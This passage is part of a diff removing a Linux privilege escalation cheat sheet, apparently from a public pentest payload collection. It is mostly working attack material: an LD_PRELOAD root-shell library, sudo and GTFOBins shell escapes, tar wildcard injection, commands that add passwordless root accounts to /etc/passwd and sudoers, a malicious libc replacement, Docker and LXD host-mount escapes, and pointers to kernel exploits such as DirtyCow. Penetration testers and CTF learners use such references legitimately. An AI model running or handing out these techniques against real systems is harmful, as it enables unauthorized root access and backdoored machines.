-/usr/bin/rsh                  = cap_net_bind_service+ep
-/usr/bin/rcp                  = cap_net_bind_service+ep
-```
-
-### Edit capabilities
-
-```powershell
-/usr/bin/setcap -r /bin/ping            # remove
-/usr/bin/setcap cap_net_raw+p /bin/ping # add
-```
-
-### Interesting capabilities
-
-Having the capability =ep means the binary has all the capabilities.
-```powershell
-$ getcap openssl /usr/bin/openssl 
-openssl=ep
-```
-
-Alternatively the following capabilities can be used in order to upgrade your current privileges.
-
-```powershell
-cap_dac_read_search # read anything
-cap_setuid+ep # setuid
-```
-
-Example of privilege escalation with `cap_setuid+ep`
-
-```powershell
-$ sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7
-
-$ python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
-sh-5.0# id
-uid=0(root) gid=1000(swissky)
-```
-
-## SUDO
-
-### NOPASSWD
-
-Sudo configuration might allow a user to execute some command with another user privileges without knowing the password.
-
-```bash
-$ sudo -l
-
-User demo may run the following commands on crashlab:
-    (root) NOPASSWD: /usr/bin/vim
-```
-
-In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`.
-
-```bash
-sudo vim -c '!sh'
-sudo -u root vim -c '!sh'
-```
-
-### LD_PRELOAD and NOPASSWD
-
-If `LD_PRELOAD` is explicitly defined in the sudoers file
-
-```powershell
-Defaults        env_keep += LD_PRELOAD
-```
-
-Compile the following C code with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
-
-```powershell
-#include <stdio.h>
-#include <sys/types.h>
-#include <stdlib.h>
-void _init() {
-	unsetenv("LD_PRELOAD");
-	setgid(0);
-	setuid(0);
-	system("/bin/sh");
-}
-```
-
-Execute any binary with the LD_PRELOAD to spawn a shell : `sudo LD_PRELOAD=/tmp/shell.so find`
-
-### Doas
-
-There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf`
-
-```bash
-permit nopass demo as root cmd vim
-```
-
-### sudo_inject
-
-Using [https://github.com/nongiach/sudo_inject](https://github.com/nongiach/sudo_inject)
-
-```powershell
-$ sudo whatever
-[sudo] password for user:    
-# Press <ctrl>+c since you don't have the password. 
-# This creates an invalid sudo tokens.
-$ sh exploit.sh
-.... wait 1 seconds
-$ sudo -i # no password required :)
-# id
-uid=0(root) gid=0(root) groups=0(root)
-```
-
-Slides of the presentation : [https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf](https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf)
-
-## GTFOBins
-
-[GTFOBins](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
-
-The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.
-
-> gdb -nx -ex '!sh' -ex quit    
-> sudo mysql -e '\! /bin/sh'    
-> strace -o /dev/null /bin/sh    
-> sudo awk 'BEGIN {system("/bin/sh")}'
-
-
-## Wildcard
-
-By using tar with –checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that's where the wildcard comes in handy.
-
-```powershell
-# create file for exploitation
-touch -- "--checkpoint=1"
-touch -- "--checkpoint-action=exec=sh shell.sh"
-echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" > shell.sh
-
-# vulnerable script
-tar cf archive.tar *
-```
-
-Tool: [wildpwn](https://github.com/localh0t/wildpwn)
-
-## Writable files
-
-List world writable files on the system.
-
-```powershell
-find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
-find / -perm -2 -type f 2>/dev/null
-find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
-```
-
-### Writable /etc/passwd
-
-First generate a password with one of the following commands.
-
-```powershell
-openssl passwd -1 -salt hacker hacker
-mkpasswd -m SHA-512 hacker
-python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
-```
-
-Then add the user `hacker` and add the generated password.
-
-```powershell
-hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
-```
-
-E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
-
-You can now use the `su` command with `hacker:hacker`
-
-Alternatively you can use the following lines to add a dummy user without a password.    
-WARNING: you might degrade the current security of the machine.
-
-```powershell
-echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
-su - dummy
-```
-
-NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`. 
-
-### Writable /etc/sudoers
-
-```powershell
-echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers
-
-# use SUDO without password
-echo "username ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers
-```
-
-
-## NFS Root Squashing
-
-When **no_root_squash** appears in `/etc/exports`, the folder is shareable and a remote user can mount it
-
-```powershell
-# create dir
-mkdir /tmp/nfsdir  
-
-# mount directory 
-mount -t nfs 10.10.10.10:/shared /tmp/nfsdir 
-cd /tmp/nfsdir
-
-# copy wanted shell 
-cp /bin/bash . 	
-
-# set suid permission
-chmod +s bash 	
-```
-
-## Shared Library
-
-### ldconfig
-
-Identify shared libraries with `ldd`
-
-```powershell
-$ ldd /opt/binary
-    linux-vdso.so.1 (0x00007ffe961cd000)
-    vulnlib.so.8 => /usr/lib/vulnlib.so.8 (0x00007fa55e55a000)
-    /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fa55e6c8000)        
-```
-
-Create a library in `/tmp` and activate the path.
-
-```powershell
-gcc –Wall –fPIC –shared –o vulnlib.so /tmp/vulnlib.c
-echo "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so
-/opt/binary
-```
-
-### RPATH
-
-```powershell
-level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
- 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
- 0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]
-
-level15@nebula:/home/flag15$ ldd ./flag15 
- linux-gate.so.1 =>  (0x0068c000)
- libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
- /lib/ld-linux.so.2 (0x005bb000)
-```
-
-By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable.
-
-```powershell
-level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
-
-level15@nebula:/home/flag15$ ldd ./flag15 
- linux-gate.so.1 =>  (0x005b0000)
- libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
- /lib/ld-linux.so.2 (0x00737000)
-```
-
-Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
-
-```powershell
-#include<stdlib.h>
-#define SHELL "/bin/sh"
-
-int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
-{
- char *file = SHELL;
- char *argv[] = {SHELL,0};
- setresuid(geteuid(),geteuid(), geteuid());
- execve(file,argv,0);
-}
-```
-
-## Groups
-
-### Docker
-
-Mount the filesystem in a bash container, allowing you to edit the `/etc/passwd` as root, then add a backdoor account `toor:password`.
-
-```bash
-$> docker run -it --rm -v $PWD:/mnt bash
-$> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd
-```
-
-Almost similar but you will also see all processes running on the host and be connected to the same NICs.
-
-```powershell
-docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash
-```
-
-Or use the following docker image from [chrisfosterelli](https://hub.docker.com/r/chrisfosterelli/rootplease/) to spawn a root shell
-
-```powershell
-$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
-latest: Pulling from chrisfosterelli/rootplease
-2de59b831a23: Pull complete 
-354c3661655e: Pull complete 
-91930878a2d7: Pull complete 
-a3ed95caeb02: Pull complete 
-489b110c54dc: Pull complete 
-Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0
-Status: Downloaded newer image for chrisfosterelli/rootplease:latest
-
-You should now have a root shell on the host OS
-Press Ctrl-D to exit the docker instance / shell
-
-sh-5.0# id
-uid=0(root) gid=0(root) groups=0(root)
-```
-
-### LXC/LXD
-
-The privesc requires to run a container with elevated privileges and mount the host filesystem inside.
-
-```powershell
-╭─swissky@lab ~  
-╰─$ id
-uid=1000(swissky) gid=1000(swissky) groupes=1000(swissky),3(sys),90(network),98(power),110(lxd),991(lp),998(wheel)
-```
-
-Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
-
-```powershell
-# build a simple alpine image
-git clone https://github.com/saghul/lxd-alpine-builder
-./build-alpine -a i686
-
-# import the image
-lxc image import ./alpine.tar.gz --alias myimage
-
-# run the image
-lxc init myimage mycontainer -c security.privileged=true
-
-# mount the /root into the image
-lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
-
-# interact with the container
-lxc start mycontainer
-lxc exec mycontainer /bin/sh
-```
-
-Alternatively https://github.com/initstring/lxd_root
-
-## Kernel Exploits
-
-Precompiled exploits can be found inside these repositories, run them at your own risk !
-* [bin-sploits - @offensive-security](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)
-* [kernel-exploits - @lucyoa](https://github.com/lucyoa/kernel-exploits/)
-
-The following exploits are known to work well.
-
-### CVE-2016-5195 (DirtyCow)
-
-Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
-
-```powershell
-# make dirtycow stable
-echo 0 > /proc/sys/vm/dirty_writeback_centisecs
-g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
-https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
-https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
-```
-
-### CVE-2010-3904 (RDS)
-
-Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
-
-```powershell
-https://www.exploit-db.com/exploits/15285/
-```
-
-### CVE-2010-4258 (Full Nelson)
-
-Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04)
-
-```powershell
-https://www.exploit-db.com/exploits/15704/
-```
-
-### CVE-2012-0056 (Mempodipper)
-
-Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
-
-```powershell
-https://www.exploit-db.com/exploits/18411
-```
-
-
-## References
-
-- [SUID vs Capabilities - Dec 7, 2017 - Nick Void aka mn3m](https://mn3m.info/posts/suid-vs-capabilities/)
-- [Privilege escalation via Docker - April 22, 2015 - Chris Foster](https://fosterelli.co/privilege-escalation-via-docker.html)
-- [An Interesting Privilege Escalation vector (getcap/setcap) - NXNJZ - AUGUST 21, 2018](https://nxnjz.net/2018/08/an-interesting-privilege-escalation-vector-getcap/)
-- [Exploiting wildcards on Linux - Berislav Kucan](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/)
-- [Code Execution With Tar Command - p4pentest](http://p4pentest.in/2016/10/19/code-execution-with-tar-command/)
-- [Back To The Future: Unix Wildcards Gone Wild - Leon Juranic](http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt)
-- [HOW TO EXPLOIT WEAK NFS PERMISSIONS THROUGH PRIVILEGE ESCALATION? - APRIL 25, 2018](https://www.securitynewspaper.com/2018/04/25/use-weak-nfs-permissions-escalate-linux-privileges/)
-- [Privilege Escalation via lxd - @reboare](https://reboare.github.io/lxd/lxd-escape.html)
-- [Editing /etc/passwd File for Privilege Escalation - Raj Chandel - MAY 12, 2018](https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/)
-- [Privilege Escalation by injecting process possessing sudo tokens - @nongiach @chaignc](https://github.com/nongiach/sudo_inject)
-* [Linux Password Security with pam_cracklib - Hal Pomeranz, Deer Run Associates](http://www.deer-run.com/~hal/sysadmin/pam_cracklib.html)